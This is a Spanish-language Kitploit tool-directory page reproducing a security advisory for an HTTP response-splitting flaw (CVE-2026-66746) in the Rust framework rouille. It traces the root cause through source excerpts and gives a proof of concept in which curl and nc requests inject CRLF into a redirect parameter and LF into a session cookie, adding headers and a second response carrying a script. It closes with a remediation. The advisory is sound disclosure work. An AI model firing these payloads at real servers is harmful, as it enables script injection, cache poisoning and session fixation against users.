Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — Aviso de seguridad: División de respuesta HTTP mediante valores de cabecera de respuesta no validados (rouille) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Análisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Aviso de seguridad: División de respuesta HTTP mediante valores de cabecera de respuesta no validados (rouille)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 23 díasAún no revisado

Aviso de seguridad: División de respuesta HTTP mediante valores de cabecera de respuesta no validados (rouille)

ID de CVE asignado: CVE-2026-66746

Resumen

rouille escribe los valores de las cabeceras de respuesta al cliente sin comprobar si contienen retorno de carro o salto de línea. Una aplicación que coloque texto influenciado por el atacante en un valor de cabecera emite por tanto cabeceras adicionales, o una segunda respuesta HTTP completa, por el cable.

Dos propiedades de rouille hacen que esto sea alcanzable en código ordinario. Request::get_param decodifica los escapes de porcentaje, por lo que %0d%0a en una cadena de consulta se convierte en un CRLF real. Y session::session copia el valor de Cookie del propio cliente en Set-Cookie sin validación alguna.

Cualquier otra pila HTTP de Rust ampliamente utilizada rechaza esto a nivel de tipo: http::HeaderValue::from_str devuelve InvalidHeaderValue para CR y LF, por lo que hyper, axum, actix-web y warp no están expuestos de la misma manera.

Versiones afectadas

URL del repositorio: https://github.com/tomaka/rouille

Primera versión afectada0.4.0 (2016-12-14) para la ruta de cabecera de respuesta indicada abajo
Última versión afectada3.6.2 (2023-04-24), la versión actual
Corregida ensin versión corregida en el momento de redactar esto

Las versiones anteriores a 0.4.0 emiten respuestas a través de una ruta de código diferente que no fue examinada, por lo que no se hacen afirmaciones al respecto. El reflejo de session::session descrito en la ruta B existe desde 0.3.2 (2016-12-02) en adelante.

Gravedad

CWE-113 (Neutralización incorrecta de secuencias CRLF en cabeceras HTTP), un caso específico de CWE-93 (Inyección CRLF).

Puntuación base CVSS 4.0: 5.3 (Media) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Modelo de amenazas

La ruta A requiere un atacante remoto, no autenticado, y una víctima que siga un enlace proporcionado por el atacante. El atacante necesita que la aplicación coloque cualquier cadena derivada de la petición en una cabecera de respuesta. Redirigir a un parámetro de consulta next o return_to es el caso habitual.

La ruta B solo requiere que la aplicación llame a session::session y lea el id de sesión. El atacante controla su propia cabecera Cookie, por lo que, por sí solo, esto es autoinfligido. Se convierte en un ataque contra otros cuando una caché compartida almacena la respuesta dividida, o cuando se combina con otra forma de establecer una cookie en el navegador de la víctima.

Causa raíz

En rouille/src/lib.rs, líneas 624 a 640, los valores se pasan directamente:

root@kitploit:~
624              for (key, value) in roulette_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes solo comprueba que los bytes sean ASCII, y CR y LF son ASCII. tiny_http-0.12.0/src/common.rs, líneas 166 a 172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

El valor se escribe entonces sin escape. tiny_http-0.12.0/src/response.rs, líneas 99 a 104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Ruta A, parámetros de consulta con decodificación porcentual

Request::get_param decodifica los escapes de porcentaje, por lo que el llamador recibe caracteres de control reales. rouille/src/lib.rs, líneas 928 a 932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Ruta B, identificadores de sesión reflejados desde la petición

rouille/src/session.rs toma la clave de la cookie del cliente en la línea 59 y la interpola en la cabecera de respuesta en las líneas 75 a 81:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Prueba de concepto

Ruta A

Paso 1. Inicie un servidor que redirija a un parámetro de consulta.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Paso 2. Haga la petición con %0d%0a en el parámetro.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Resultado. X-Injected llega como cabecera propia:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Paso 3. Extienda el payload más allá del final de las cabeceras para emitir una segunda respuesta completa.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Resultado. Una petición, dos respuestas completas. La segunda lleva una línea de estado, un tipo de contenido y un cuerpo elegidos por el atacante:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Ruta B

Paso 1. Inicie un servidor utilizando el patrón de sesión documentado.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Paso 2. Envíe una cookie cuyo valor contenga un LF simple. \n a continuación es un único salto de línea; \r\n es un CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Resultado. El valor se escapa de Set-Cookie a su propia línea:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

La ruta B tiene tres limitaciones dignas de mención. Solo un LF simple consigue pasar, porque un CRLF habría terminado la línea de cabecera en tiny_http, por lo que el cliente o la caché debe tratar un LF aislado como terminador. Todo lo que va después del punto de inyección sigue llevando el sufijo ; Max-Age=3600; Path=/; HttpOnly del mismo format!, por lo que la primitiva es una cabecera con una cadena final fija en lugar de una cabecera arbitraria limpia. Y el atacante solo controla su propia cookie. La ruta A no tiene ninguna de estas limitaciones.

Impacto

Ejecución de scripts en el contexto de seguridad del origen, envenenamiento de caché cuando una caché compartida almacena la respuesta inyectada contra la URL de la víctima, fijación de sesión mediante un Set-Cookie inyectado y sobrescritura de cabeceras de seguridad como CSP o CORS. Dado que la ruta A produce un CRLF real, todo cliente y caché divide por él.

Remediación

Valide los valores de cabecera en Server::process antes de pasarlos a tiny_http, en rouille/src/lib.rs alrededor de la línea 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Devuelva un 500 para toda la respuesta en lugar de descartar la cabecera infractora, de modo que el fallo sea visible en lugar de cambiar silenciosamente la respuesta.

Valide también la clave de sesión en session::session: rechace un valor de cookie que no sea [A-Za-z0-9]+ y genere un id nuevo en su lugar. Comprobar en Response::with_additional_header, with_unique_header y los constructores redirect_* haría que el error aflorara en el punto de llamada, donde el autor de la aplicación puede actuar sobre él.

Descargar herramienta